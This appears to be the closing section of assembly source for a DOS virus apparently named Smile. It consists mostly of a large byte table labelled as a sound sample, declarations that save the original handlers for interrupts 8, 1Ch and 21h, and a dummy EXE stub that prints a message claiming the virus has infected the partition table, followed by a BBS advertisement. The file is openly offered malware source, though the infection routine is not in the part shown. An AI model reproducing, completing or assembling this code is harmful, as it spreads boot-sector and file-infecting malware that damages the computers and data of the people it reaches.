db 254, 1,191,192, 31,252, 1,255, 0,127,248, 19,127,129, 63,228
db 15,254, 0, 63,224, 13,254, 34, 55,228, 73,254,100,223,124,201
db 191,224, 25,179, 32, 79,236,137,255,192, 79,254, 0,255,200, 23
db 249, 32,155,108,130,102, 76,200,204,222, 4,166,251, 19, 32, 31
db 236,140,236,204,108,204,153, 20,217,153, 25,179, 32,118,249,166
db 219, 32, 23,108,146,108,200,111,230, 70,236,195, 63, 36, 71,201
db 153, 59, 36,219,178,110,236,130, 93,194,102,249, 32,207,228, 66
db 123,146, 59, 51, 38,153, 50,219,100,251,153,157,154,100, 99, 54
db 108,195, 50,121,182,217,166,125, 50, 79, 54, 73,178,204,214,108
db 147, 51, 33,147,108,200,155,177, 37,179,102, 3,237,140,154,136
db 155,246, 68,255,236,137, 19, 63,204,153,191,144, 19,254, 64, 79
db 252, 4,255,128, 63,240, 7,255, 19,119,233, 19, 51, 34, 55,120
db 2,110,201, 63,220,139,230, 98,127,140,102,243,201,155,216, 7
db 243, 19,124,204,137,190, 3,246,115, 51, 38,100,219, 96, 59, 62
db 68,155,200,159,236,201,178,100, 73, 51, 19,153,140,155, 49, 19
db 236,131,127,241, 3,252,205,222, 25,153,255,145, 62, 3,102, 76
db 217, 31,204, 31,153,191,112, 63,177,187,204, 76,119,112, 29,196
db 27,243, 38,204,199, 51, 54, 76,157,230, 77,217,144, 63,228, 79
db 100,178,100,205,143,236, 25,147,120,129,248, 3,252,146,220,132
db 216,157,217,183, 51, 35,147,205, 36,216, 25,155, 50,101,147,147
db 38,196,105, 50, 71,199, 28,216,115, 48,205,179, 38,216, 60,179
db 97,230,109,147,110, 38,121, 48,227, 64,204,198, 7, 14,108, 76
db 184,240,195,239,134,115, 55,137, 15,184, 38,108, 12, 25,204,104
db 243, 97,147,199, 39,152, 54,125, 49,243,179,102,205,204,155, 54
db 126, 89, 60,217,102,195, 39,131, 79, 7,156, 38,121, 48,112,217
db 225,159,227, 19, 12,150, 67, 54, 77,188,153, 60,250,108,155,108
db 61,200,134, 79, 46,192,221, 3,255, 17,240,255,240, 62, 13,254
db 19,178,223,128,204, 39,209, 44,153,225,180, 29,225, 60, 63,194
db 120, 63, 1,248,188, 15,113,116, 27, 7, 51,204,115, 30,230, 59
db 133,241, 60, 7,145,236,206,195,184,222, 3,137,242, 60,140, 99
db 228,241,159, 23, 68,216,249, 15, 17,134,199, 65,126, 63, 7,216
db 254, 31,227,232, 59,143,226,254, 55,135,241,188,101,199, 57,135
db 198,112,159, 31,195,248,158, 71,249,199,145,240,248, 15,103,204
db 19,141,195, 56,143,129,252, 7,167,241, 61,140,225,156, 3,136
db 114, 30, 49,204,240,118, 48,195, 30, 71,192,121, 23, 1,248,198
db 48,236, 49,156,241, 12,143,130,120,254, 15,226,184,251, 19,217
db 253, 39,155, 98, 45,144,204, 55,155,113,159, 39, 97,242,187, 6
db 244,195, 60,102,217,131, 38, 51,129,196,198, 12,224,198,125,100
db 147,201, 53,159, 99, 60, 27, 97,188,142, 55,128,241,204,198,109
db 130, 25,229,152,121,147, 49,140,153, 36,194,115, 24,198,121, 39
db 152,243, 55, 19,198,126, 25,201,236,247, 25,196,120,141, 36,243
db 46, 49,152,242, 12,195,199, 61,143,136,217,142,103, 56,205,129
db 144, 25,135,185,156, 63,152,202, 59,135, 55,137,230,122,108,220
db 61,184,206,102, 62,102, 31,142,153,231,211,206,225,231,151,105
db 246,199,241,249,143,195,246,159,147,223,142,209,251,143,227,157
db 159, 99,207, 25,199, 24,126,143,230,120,158,113,218, 63,199,240
db 237,142,131,159, 57,230,120,238, 63,227,152,231,142,115, 30,115
db 140,249,230,117,227,156,251,140,227,188,119,152,241, 26, 96,206
db 97,135, 61,199,159, 57,103,188,103, 24,241,248,115, 56,230, 6
db 227,188,115,204,124, 31,141,193,214,115,198,119,135, 49,142, 60
db 199, 48,115, 28,227,156,113,140,113,198, 24,198, 56,115, 26, 33
db 205,204,131, 51, 31, 12,206, 60, 51,152, 49,206, 99,199, 51,140
db 205,142, 60, 51,152,224,228,227,153, 49,198,198,227, 51,143, 14
db 134, 54,118, 56,152,252, 99,227,185,207,143,198,103, 51,142,156
db 159, 28,224,113,179,140,228,204, 39, 71,113,156,100,228,225,163
db 137,204,158,103, 49,115, 12,193,204,199,139,204,204, 51,163, 26
db 56,204,225,198, 27,211,120,255, 46,225,239, 31,135, 92,111, 27
db 147,156,114,229,147,142, 49,204,103,142, 57,156,152,236, 28,131
db 179,113,198, 32,238, 53, 15, 29,241,120,247, 62, 53, 25,158, 48
db 11,153, 54, 15, 28,230, 28,241,220,241,206,225,175, 27,134,102
db 103, 24,249,220,102,204,243, 51, 51,140,204,166, 51,103, 57,153
db 147,103,104,206,121,204, 99,204,123, 60, 25, 38, 51, 98,218,123
db 22, 70, 28,219, 44,147, 76,192,227,200, 49,205,164,219,154,102
db 23, 54, 78, 60,218,100,216,210,100,241,228,231,201,167, 57,140
db 54, 15,206, 51, 47, 35,136,201,153, 35,140,115,134, 58,115,102
db 120,236,204,153,163,120,198, 51,152, 54,204,225,147,101,201, 51
db 13,193,178, 62, 77,195, 52,207,202,204,120,193,142,108,209,227
db 28, 97,147, 19,152, 56,227,142, 92,240,199, 30, 48,241,207, 25
db 108,157,109,199,155, 28, 97,155, 39, 28,241,205, 30, 24,226,199
db 28, 49,225,134, 56,229,154,108, 97,207, 62, 56,231, 14,124,200
db 54, 76,227,156, 56,227,143, 12,104,231, 28,179,103, 60,249,227
db 135, 28,120,227, 6, 24,115,139, 56, 56,199,134, 56,115,199, 60
db 153,204,222,108,241,195, 30, 60, 49,199,142, 24,112,227,134,115
db 51,155, 28,113,205,134,120,242, 99,143, 30,113,154, 44,249,231
db 150,124,113,241,158, 25, 98,206, 92,179,231,143, 56,227,166, 12
db 32,199, 48,105,147, 25,156,108,204, 28, 51, 39,198,153,176,224
db 252,216,103, 30, 71,205,131, 1,204,217,145,114, 60, 62,125, 60
db 31, 30, 76,158, 22,108,217, 25,176,204,158, 55,137,140,220,104
db 226,204,105,241,204,201,227,204,201,227,140,203,195,156,207,199
db 28,199,195,140,199,195,156,199,231,140,199,195,156,207,206,121
db 159, 38, 57,153,142,121,153,156,241,145,140,241,179,153,241,178
db 204,209,131,153,227, 38,217,205,151, 28,198,103, 59, 25, 50, 77
db 153, 46,121,140, 39, 49,140, 51, 50,102, 76,115,198, 12, 99,156
db 99,102,147,248,205,156,119,142,156,126, 76, 12,110, 77,152,236
db 198, 56,102,102,120,220,243, 76,206,100,152,198, 49,153,152, 60
db 223, 28,189, 55, 25,198, 15, 60,114, 14, 25, 51,207, 50,227, 19
db 36, 67,223,102,199, 92,102,131, 4,100,115,126,236,214, 48,108
db 77,191,204, 6,124,253,152, 32,255,136, 78,243,128,127,240, 59
db 255, 0, 63,252, 15,251,192, 31,254, 3,255,192, 31,254, 3,255
db 192, 63,252, 15,127, 0,127,240, 3, 16, 7,255,240, 32, 15,251
SampleEnd equ this byte
;------------------------------------------------------------------------------
;
; Variables
;
;------------------------------------------------------------------------------
Active db -1
ActiveYear dw -1
ActiveDate dw -1
OldInt8 equ this dword ; orginal interrupt 8
OldInt8o dw -1
OldInt8s dw -1
OldInt1C equ this dword ; orginal interrupt 1ch
OldInt1Co dw -1
OldInt1Cs dw -1
OldInt21 equ this dword ; orginal interrupt 21h
OldInt21o dw -1
OldInt21s dw -1
Count dw -1 ; timer count
SampleOffset dw -1 ; Used to make sound
SampleBit db -1
SampleFlag db -1
Handle db 24 dup(-1) ; Filehandles
cseg ends
;------------------------------------------------------------------------------
;
; Orginal EXE-file
;
;------------------------------------------------------------------------------
mseg segment public 'code'
assume cs:mseg, ds:mseg, es:mseg
db 'MZ' ; header
dw PrgSize ; PartPage
dw 1 ; PageCount
dw 0 ; relocation items = 0
dw 0 ; headersize = 0h
dw 80h ; minimum memory
dw 0ffffh ; maximum memory
dw (PrgSize+15)/10h ; ss
dw 7feh ; sp
dw 0 ; chksum
dw offset Orginal ; ip
dw 0 ; cs
dw 1ch ; offset relocation table
dw 0 ; overlay number
Orginal: mov ah,9 ; display warning
push cs
pop ds
mov dx,offset Warning
int 21h
mov ax,4c00h
int 21h ; terminate
Warning db 13,10
db 'WARNING:',13,10
db 13,10
db 'Smile virus has now infected the partition table !!!!!',13,10
db 13,10
db '$'
mseg ends
sseg segment stack 'stack'
db 800h dup(?)
sseg ends
end Main
; ─────────────────────────────────────────────────────────────────────────
; ────────────────────> and Remember Don't Forget to Call <────────────────
; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
; ─────────────────────────────────────────────────────────────────────────
